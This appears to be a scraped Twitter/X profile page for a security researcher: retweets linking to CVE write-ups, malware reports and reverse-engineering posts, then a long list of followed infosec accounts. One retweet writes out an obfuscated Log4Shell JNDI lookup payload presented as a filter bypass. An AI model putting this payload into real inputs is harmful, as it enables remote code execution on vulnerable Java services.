magu @_m4gu
Joined July 2015-
Tweets75
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Followers40
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Following332
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Likes269
I just spent the last few months of my life reverse engineering the Windows 10 parallel loader and figuring out how it does concurrency. Updates have now been published! github.com/ElliotKillick/…
#BREAKING #ESETresearch helped analyze a #Sandworm campaign against an energy company in #Ukraine 🇺🇦 using #CaddyWiper and a new version of the infamous #Industroyer malware. #WarInUkraine welivesecurity.com/2022/04/12/ind… 1/5
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce} log4j bypass lol Lessons learned: Don't use Java.
Skradziono Ci dowód? Co robić? 🧵 Wątek ↓ 1️⃣ Utracone dokumenty trzeba zastrzec w systemie "dokumenty zastrzeżone". Najlepiej zrobić to osobiście w oddziale naszego banku. Część instytucji przyjmuje zastrzeżenia również telefonicznie. dokumentyzastrzezone.pl/zastrzeganie-d…
• Do what interests you the most. • Spend time with nature. • Ask questions. • Never stop learning. • Don't pay attention to what others think of you. • Read everyday. • Study hard. • Teach others what you know. • Make mistakes and learn. • It's Okay to not know things!
Don't play source engine games. This 0-day was disclosed over two years ago and Valve has still not patched it.
Don't play source engine games. This 0-day was disclosed over two years ago and Valve has still not patched it.
How come every @_markel___ post ends up with me playing with numbers?🤔
Reverse engineering Mortal Kombat GRA file format (part 2) blog.rewolf.pl/blog/?p=1982
Pozdrawiam Pana Tomasza😉
CVE-2020-16898 – Exploiting "Bad Neighbor" vulnerability. My very detailed write-up with all the caveats + PoC code blog.pi3.com.pl/?p=780
CVE-2020-16938 - aka bits please! So...recent update changed the permissions on partitions and volume device objects, granting everybody read access. This means that by opening the device directly you can read the raw data without any privs. 7zip parses NTFS so super for POC
Finally, the casket is opened: we (+@h0t_max and @_Dmit) have extracted Intel x86 microcode! One more Intel "top secret" information gets revealed... github.com/chip-red-pill/…
Today I'm happy to release new research I've been working on for a while: 0-click RCE via MMS in all modern Samsung phones (released 2015+), due to numerous bugs in a little-known custom "Qmage" image codec supported by Skia on Samsung devices. Demo: youtube.com/watch?v=nke8Z3…
I did a small investigation into inner workings of of CVE-2019-1458. Reported in December, used in the wild. Here is my analysis: github.com/piotrflorczyk/…
[PL] Używasz #flask i #python. Przez pomyłkę uruchomiłeś środowisko testowe. Teoretycznie dostęp do #debugger jest zabezpieczony kodem PIN. Tylko, że PIN nie jest generowany losowo. Arbitrary file read + Flask (debug mode) = RCE youtube.com/watch?v=SDlYjy…
I don’t endorse the vocabulary in this tweet but I’d like to share our side of things and perhaps set the records straight. We never really wanted to (and still don’t want to) discredit Dragos publicly, there is really no point. 1/x
[PL] @AdamLangePL pracuje jako VP Head of Cyber Threat Hunting w Standard Chartered Bank. Opowiada na czym polega Threat Hunting oraz co to jest phishing. Rozmawiamy o PSD2, SIM-swap i metodach działania internetowych przestępców. #cybersecurity #security youtu.be/Msh4i-vIfB4

Shedat @Shedat372196
7 Followers 860 Following Follow me, maybe it's the beginning of our fate, we can talk
EZ 2 Host Pro @EZ2HostPro1
7 Followers 57 Following Go where the Pro’s Host. Great Prices on Hosting Plans. Our Website Hosting prices are lower than GoDaddy, BlueHost and HostGator! 99.9% uptime free SSL and..
Br00K @PuMper0
65 Followers 445 Following
Julio @juliocesarfort
2K Followers 3K Following I'm not cut from the same mold, I don't read from the same old story. South American in Eastern Europe. Opinions are mine.
Marek Zmyslowski @mar... @marekzmyslowski
611 Followers 904 Following Senior Security Engineer @ Microsoft
ChrisPooh @chrispooh007
142 Followers 744 Following
Mohsen Ahmadi @pwnslinger
801 Followers 4K Following Security Researcher, MS CS @ASU, @Shellphish, @riscure, @apple, @cisco; Entrepreneur @plugandplaytc 🇮🇷|🇺🇸
adamm @adamsimuntis
450 Followers 579 Following Occasionally CTFs with @justCatTheFish & @AIgenerated1
Adam Ziaja @adamziaja
2K Followers 613 Following 🇵🇱 #infosec since the '90s ▫ cybersecurity @redteampl ▫ IT expert witness ▫ ISBN 9788301193478 ▪ #pentest ▪ #redteaming ▪ #dfir ▪ #cert ▪ #soc▪ #threathunting
JMP3R @_jmper
15 Followers 113 Following
0xC0000005 @FgghhhX
322 Followers 4K Following
Kaitai Project https:... @kaitai_io
2K Followers 853 Following Kaitai Struct: declarative language to generate binary data parsers — https://t.co/gM1LiZYNBA
Anton Cherepanov @cherepanov74
4K Followers 914 Following Malware researcher at ESET Slovakia. Opinions are my own.
Arkkup @Arkkup
77 Followers 2K Following
florek @florek_pl
349 Followers 609 Followingicanhaspii @icanhaspii
2K Followers 5K Following #Malware #Ransomware #DFIR #InfoSec #CyberSecurity #ThreatHunting #ThreatIntel #ForeverN00b #Mennonite Personal page, views don't represent employer.
Richard Baranyi @rbaranyi
507 Followers 524 Following Senior Specialized Software Engineer @ ESET, Opinions and Tweets are my own
Lillian Oldman @RollRamsRoll
27 Followers 1K Following
OKOB @0K_0B
125 Followers 685 Following
yeuchimse @yeuchimse
1K Followers 616 Following
Marcin Malich @malcompl
152 Followers 196 Following software/hardware enginner, hacker, programmer, electronic, maker, investor, speculator, military fan...
Faraday Security @faradaysec
7K Followers 6K Following All in One Security Solution Vulnerability Management Platform + Red Team Services + Research
Nasuh Kök @Efesi03
51 Followers 948 Following Summer must. Convenient and cheap. Discount Ray-Ban sunglasses online store. Only $24.99. Click https://t.co/jwfiBLZADd
Sławomir Szewczyk @shevchenko1987
56 Followers 693 Following Zapalony użytkownik systemów mobilnych oraz desktopowych, miłośnik muzyki, piłki nożnej, motoryzacji oraz nowych technologii.
Technoamphetamine @teamphetamine
124 Followers 714 Following A mixture of amphetamine and technology. Also known as a major nerd. I can vouch and say that anyone who follows me will follow a useful person with ADHD.
VX Heaven @vxheavenorg
3K Followers 3K Following The most complete computer virus library on the net.
Kacper Szurek @KacperSzurek
16K Followers 415 Following Opowiadam o bezpieczeństwie w prosty i zrozumiały sposób. https://t.co/G7JVu4ctCU
Mateusz Krzywicki @krzywix
2K Followers 808 Following 🐛 bugs and 🤯 exploits (Opinions are my own and not my employer)
Krzysztof Katowicz-Ko... @varseand
824 Followers 683 Following Rate limit exceeded; follow on https://t.co/XmEOn3ooXP
ReWolf @rwfpl
2K Followers 569 Following ǝ̝̰̰̣̪̻͍͞s̀ɹ͙͇͕̻̘ǝ͖̗͚ʌ̳͖͘ͅǝ̯̰͎̯͎̺ᴚ̣̙ ̜̦̝͉̖͟e͍͎͚̺n̸͉͙̭̩ͅg̝͖̫i͈̗̱̖̰n̪̕e̬̼͢ȩr͚̯̤͈̞͇̰
Dmitry Vostokov 🇮�... @DumpAnalysis
8K Followers 6K Following Diagnostician. Author of Diagnomicon. Gang of One. Software Surgeon. Machine Learning and AI for Software Diagnostics and Observability. Generative Debugging.
SEKTOR7 Institute @SEKTOR7net
15K Followers 346 Following Homo Aptus. Vincit qui se vincit - Publilius Syrus. Consulting, Training, Technology, Cyber domain, and more... @x33fcon founder.
Mohit Mishra @chessMan786
31K Followers 399 Following engineer | engineering | learning to learn the low-level system
Claes Spett (.PrØÐi... @J3rge
7K Followers 616 Following Programmer | Exploit Dev | Reverse Engineering | Backdooring Everything I Break!
Aurélien Chalot @Defte_
4K Followers 460 Following Hacker, sysadmin and security researcher @OrangeCyberdef 💻 Calisthenic enthousiast 💪 and wannabe philosopher https://t.co/SqDDhIGGGh 📖 🔥 Hide&Sec 🔥
Dave W Plummer @davepl1968
88K Followers 75 Following Hi! I'm Dave Plummer. You might remember me from such Windows components as Task Manager, Windows Pinball, Calc, ZIPFolders, Product Activation, etc. Cheers!
Piotr Bazydło @chudyPB
4K Followers 310 Following Principal Vulnerability Researcher at watchTowr | Previously: Zero Day Initiative | @[email protected]
Ricardo Narvaja @ricnar456
6K Followers 1K Following
x86matthew @x86matthew
21K Followers 189 Following C / asm / system emulation / reverse engineering. @the_secret_club
MalDev Academy @MalDevAcademy
17K Followers 5 Following Providing specialized, module-based security training and resources designed for cyber security professionals
Unit 42 @Unit42_Intel
64K Followers 82 Following The latest research and news from Unit 42, the Palo Alto Networks (@paloaltontwks) Threat Intelligence and Security Consulting Team covering incident response.
John Lambert @JohnLaTwC
43K Followers 801 Following Corporate Vice President, Security Fellow, Microsoft Security Research, johnla(AT)https://t.co/3dGtq71Nby
Stephan Berger @malmoeb
28K Followers 1K Following Head of Investigations @InfoGuardAG https://t.co/A5lnFAu7eX
giMini @pabraeken
3K Followers 181 Following CTRO and VP #Hacker who had the privilege of speaking at BlackHat, BSidesDC, NorthSec, HackFest, SecTor, InfoSec Europe.
Florian Roth ⚡️ @cyb3rops
207K Followers 3K Following Head of Research @nextronsystems #DFIR #YARA #Sigma | detection engineer | creator of @thor_scanner, Aurora, Sigma, LOKI, YARA-Forge | always busy ⌚️🐇 | vi/vim
mr.d0x @mrd0x
45K Followers 298 Following Security researcher | Co-founder https://t.co/QxBlzp9A8w | https://t.co/zqMXQRZjQN | https://t.co/Fq7WSqTBva | https://t.co/eKezFcO6nd
Nasreddine Benchercha... @nas_bench
11K Followers 1K Following Detection @Splunk & @cisco | previously @nextronsystems | @sigma_hq & @magicswordio maintainer | Eternal Learner
Samir @SBousseaden
25K Followers 1K Following Detection Engineering | Elastic Security Mastodon: @[email protected]
Thach Nguyen Hoang �... @hi_im_d4rkn3ss
3K Followers 337 Following Security Researcher @starlabs_sg. Pwn2Own Mobile 2020, 2021, 2022, 2023. Pwn2Own Vancouver 2022, 2023, 2024, 2025.
Grzegorz Tworek @0gtweet
36K Followers 2K Following My own research, unless stated otherwise. Not necessarily "safe when taken as directed". GIT d- s+: a+ C++++ !U !L !M w++++$ b++++ G-
Andrzej Dragan @andrzejdragan
79K Followers 98 Following Quantum physics professor @UniWarszawski + @NuSingapore — Wired’s cover: https://t.co/eaemmQ7Xza Człowiek rekonesansu…
0xor0ne @0xor0ne
82K Followers 514 Following | CyberSecurity | Reverse Engineering | C and Rust | Exploit | Linux kernel | PhD | My Tweets, My Opinions :) |
Daniel Kelley @danielmakelley
46K Followers 728 Following I'm a reformed black hat hacker who has contributed to 100+ bug bounty programs, and I ghostwrite for cybersecurity teams.
[email protected]... @0xdea
14K Followers 20 Following When cryptography is outlawed, bayl bhgynjf jvyy unir cevinpl.
Cedric Halbronn @saidelike
4K Followers 663 Following Security researcher, Pwn2Own {2021, 2022}, #VR #RE #ED (Mastodon: @[email protected])
Alexandre Borges @ale_sp_brazil
28K Followers 147 Following Vulnerability Researcher and Exploit Developer
PELock @PELock
2K Followers 756 Following My pronouns ⚙️Polymorphic & Metamorphic engines, 🛡 Binary & source code obfuscation, Software protection, Reversing, Radio unlock codes, Social Media marketing
Br00K @PuMper0
65 Followers 445 Following
Chetan Nayak (Brute R... @NinjaParanoid
31K Followers 0 Following Founder Dark Vortex/Brute Ratel | Former RedTeam @CrowdStrike @Mandiant @niiconsulting
mj0011 @mj0011sec
13K Followers 135 Following CEO of Cyber-Kunlun & Kunlun Lab. Former CTO of Qihoo 360, Founder of team 360Vulcan.
Anna Miaśkiewicz @devnullek
672 Followers 491 Following
Reverse Engineering a... @re_and_more
15K Followers 521 Following RE and More by Alexey Kleymenov (https://t.co/s1pWjL46AW). Private classes and group workshops in malware analysis and reverse engineering. #infosec #malware
John Hammond @_JohnHammond
300K Followers 3K Following Cybersecurity Researcher @HuntressLabs || Just Hacking Training @JustHackingHQ w/ @ethicalhacker || https://t.co/UtsNJiyQtS || https://t.co/narO3sz7y6
ᴀᴅᴀᴍ ʟᴀɴ�... @AdamLangePL
4K Followers 584 Following Breaking things professionally | Researcher | Speaker | Lecturer | Podcaster | #ProudToBeDefender | Opinions are my own.
Adam Haertle @adamhae... @adamhaertle
8K Followers 54 Following Wszystko co chcesz wiedzieć o hasłach: https://t.co/5a3s6qnjqg
John @BitsOfBinary
2K Followers 398 Following #threatintel @PwC_UK. Reverse engineering, threat intelligence, YARA. Amateur jazz pianist. All tweets are my own. He/him.
Alexander Popov @a13xp0p0v
7K Followers 373 Following Linux Kernel Developer / Security Researcher / Free Software Maintainer. Admin of @linkersec. This is my personal account.
Robert Swiecki @robertswiecki
4K Followers 359 Following AI Systems Security Lead at Google. Personal profile - opinions are my own. [email protected]
axi0mX @axi0mX
61K Followers 2K Following Bootrom exploit philanthropist. Apple silicon hacker. iOS jailbreaker. Join us as we dance madly on the lip of the volcano.
Rado RC1 @RabbitPro
5K Followers 659 Following Exploitation, hardware, embedded, reverse engineering, automotive security. Pwn2Own Master of Pwn Flashback team (@FlashbackPwn).
Prof. Feynman @ProfFeynman
1.4M Followers 0 Following A universe of atoms, an atom in the universe. Tribute to the great explainer. Tweets about Science and Wisdom. Portrait by L.V Patten.
stacksmashing @ghidraninja
48K Followers 452 Following Security researcher with a focus on hardware & firmware. I occasionally publish stuff on YouTube. Co-founder of @hextreeio. Contact: [email protected]
Jiska @naehrdine
9K Followers 638 Following Malware artist, unicorn creator, wireless hacker. Working at @HPI_DE (ex @seemoolab). Opinions are my own. https://t.co/GbL7GINJBo / @[email protected]
secret club @the_secret_club
17K Followers 0 Following secret club is a not-for-profit reverse-engineering group; publishing new research on popular software. No ads, no cookies, just research.